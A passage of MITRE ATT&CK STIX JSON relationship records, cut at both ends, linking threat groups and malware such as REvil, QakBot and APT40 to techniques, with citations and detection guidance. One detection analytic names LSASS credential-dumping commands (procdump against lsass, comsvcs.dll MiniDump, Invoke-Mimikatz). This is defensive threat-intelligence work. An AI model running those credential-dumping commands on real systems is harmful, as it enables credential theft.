2017"},{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."},{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:14.144Z","description":"(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d559a4f6-cb7f-49db-b95e-42748f3f6c63","created":"2024-08-13T20:08:34.429Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:11:28.899Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used PowerShell cmdlets New-MailboxSearch and Get-Recipient for discovery.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d55ab651-738b-4bbc-9438-57fc76be8f52","created":"2022-04-15T00:46:32.067Z","x_mitre_version":"0.1","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) can receive configuration updates and additional payloads including wscpy.exe from C2.(Citation: Fortinet Diavol July 2021)","modified":"2022-04-15T00:51:45.986Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d55ce1e6-d741-467a-87ef-d3392d7e3f32","created":"2024-02-15T13:42:58.768Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-15T13:42:58.768Z","description":"Monitor for newly constructed containers that repeatedly execute malicious payloads as part of persistence or privilege escalation. ","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d56e3076-7221-4e3b-8628-d8c50982892d","type":"relationship","created":"2020-05-29T20:32:42.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}],"modified":"2020-06-15T22:52:32.036Z","description":"[Get2](https://attack.mitre.org/software/S0460) has the ability to identify the current username of an infected host.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--099ecff2-41b8-436d-843c-038a9aa9aa69","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d57826cf-0fbd-44e5-9d67-9f29a93f1ca6","type":"relationship","created":"2020-08-04T16:03:24.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-14T15:20:58.169Z","description":"[REvil](https://attack.mitre.org/software/S0496) can identify the domain membership of a compromised host.(Citation: Kaspersky Sodin July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye POSHSPY April 2017","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2019-04-24T23:41:40.061Z","description":"[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.(Citation: FireEye POSHSPY April 2017)","relationship_type":"uses","source_ref":"malware--5e595477-2e78-4ce7-ae42-e0b059b17808","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-17T18:56:40.139Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used batch scripts and the command-line interface for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/","description":"Foltýn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.","source_name":"ESET OceanLotus"},{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2020-02-05T15:00:14.270Z","description":"[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d580bb98-25fb-4cf4-9b3f-79b007939202","created":"2021-12-27T19:19:42.758Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can communicate with its C2 server via TCP over port 5200.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T17:12:09.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d58da13b-aba4-440a-8d15-d0fee9a7a39b","created":"2023-03-14T16:11:13.999Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T22:58:23.770Z","description":"Consider monitoring for suspicious processes that may be spoofing security tools and monitoring messages.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5943cbb-6a13-41ff-9aaf-4213b46b83cd","type":"relationship","created":"2020-03-19T23:56:41.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2020-03-19T23:56:41.564Z","description":"[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer. (Citation: F-Secure The Dukes)","relationship_type":"uses","source_ref":"malware--ae9d818d-95d0-41da-b045-9cabea1ca164","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d59832f1-fd7b-4192-8be6-7c1caeb66284","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. ","modified":"2022-04-20T03:16:07.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5afd2ff-ca7f-4a53-b2ca-1628fda6f74d","type":"relationship","created":"2020-02-21T15:42:26.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T15:42:26.323Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5b2d34f-5650-4fb3-bacf-2b1765943bfe","created":"2023-06-14T22:38:26.291Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:38:57.264Z","description":"When executing with non-root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) uses the the `shmget API` to create shared memory between other known [RotaJakiro](https://attack.mitre.org/software/S1078) processes. This allows processes to communicate with each other and share their PID.(Citation: RotaJakiro 2021 netlab360 analysis)","relationship_type":"uses","source_ref":"malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5b4ef43-ddb4-4f95-95b9-6a352700bb77","type":"relationship","created":"2019-04-17T19:18:00.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2019-04-22T20:18:07.105Z","description":"[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5b776e8-d31c-4911-accc-72e07f81a52c","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackHat Atkinson Winchester Token Manipulation","description":"Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.","url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"}]},{"type":"relationship","id":"relationship--d5b8720a-7224-4d01-8667-4700e34e79ba","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:38:37.145Z","description":"Monitor for network connections to suspicious or external sites shortly after a user clicks on a link, especially if the URL is linked to phishing or malicious activities.\n\nAnalytic 1 - Web-based network connections to suspicious destinations.\n\nsourcetype=network_connection\n| search process_name IN (\"chrome.exe\", \"firefox.exe\", \"iexplore.exe\", \"msedge.exe\") OR src_ip IN (\"\")","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5bac840-bebe-4209-b16d-b6ae9ff96982","type":"relationship","created":"2021-08-31T22:15:50.442Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Lokibot Jan 2021","url":"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html","description":"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}],"modified":"2021-08-31T22:15:50.442Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) will delete its dropped files after bypassing UAC.(Citation: Talos Lokibot Jan 2021)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5bc22fc-16dd-4ab6-9599-828f4b33ec2b","type":"relationship","created":"2020-03-20T22:59:10.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","source_name":"Bitdefender APT28 Dec 2015"}],"modified":"2020-03-20T22:59:10.037Z","description":"A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with RSA.(Citation: Bitdefender APT28 Dec 2015)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5bd4aaf-4a58-45dd-a9e7-3ceb6385a998","created":"2021-07-26T15:16:21.123Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.435Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) can pad C2 messages with random generated values.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5be72df-7267-4524-85fa-a497a0cd8052","type":"relationship","created":"2019-06-21T18:37:11.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.","source_name":"OWASP Top 10"}],"modified":"2022-03-08T21:18:40.959Z","description":"Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well.(Citation: OWASP Top 10)","relationship_type":"mitigates","source_ref":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5be9ea1-7bf2-453b-bbca-19a9d82ea532","created":"2021-09-28T19:59:59.110Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike Qakbot October 2020","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"},{"source_name":"Group IB Ransomware September 2020","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021.","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"ATT QakBot April 2021","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021.","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-05T20:27:29.556Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can collect system information including the OS version and domain on a compromised host.(Citation: Crowdstrike Qakbot October 2020)(Citation: ATT QakBot April 2021)(Citation: Group IB Ransomware September 2020)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d5c05e36-531f-44f4-92d7-b3c728e2ddb8","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T13:43:45.994Z","description":"Monitor executed commands and arguments that may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nNote: Event ID 4104 from the “Microsoft-Windows-PowerShell/Operational” log captures Powershell script blocks, whose contents can be further analyzed to determine if they’re performing LSASS dumping.\n\nAnalytic 1 - Unauthorized command execution of LSASS memory.\n\n index=security sourcetype=\"Powershell\" EventCode=4104\nImage=\"*powershell.exe\" CommandLine IN (\"*Invoke-Mimikatz*\", \"*procdump.exe* -ma lsass\", \"*rundll32.exe* comsvcs.dll, MiniDump\", \"*taskmgr.exe* /dump\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5c24fec-a81a-4dfb-8d41-2199b76038a5","type":"relationship","created":"2021-03-23T13:01:04.984Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-23T13:01:04.984Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d5c6c2bd-e49f-4d88-9351-a1c3d7f3ef99","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OopsIE! Feb 2018","description":"Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"}],"modified":"2019-04-24T23:40:23.449Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) uses the SmartAssembly obfuscator to pack an embedded .Net Framework assembly used for C2.(Citation: Unit 42 OopsIE! Feb 